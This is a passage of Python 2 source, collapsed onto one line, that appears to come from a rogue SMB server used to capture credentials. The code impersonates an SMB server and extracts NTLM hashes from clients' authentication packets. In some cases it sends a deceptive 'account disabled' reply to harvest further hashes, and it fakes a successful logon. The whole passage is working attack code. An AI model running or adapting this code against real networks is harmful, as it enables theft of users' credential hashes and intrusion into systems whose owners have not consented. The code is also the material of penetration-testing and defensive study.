Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) t = SMB2Session2Data() packet1 = str(head)+str(t) buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 self.request.send(buffer1) data = self.request.recv(1024) # Negotiate Protocol Response smbv1 if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None: Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1 IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: # Parse NTLMSSP_AUTH packet ParseSMBHash(data,self.client_address[0]) if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) self.ntry += 1 continue # Send STATUS_SUCCESS Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request ParseShare(data) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied. Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied. Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) except: pass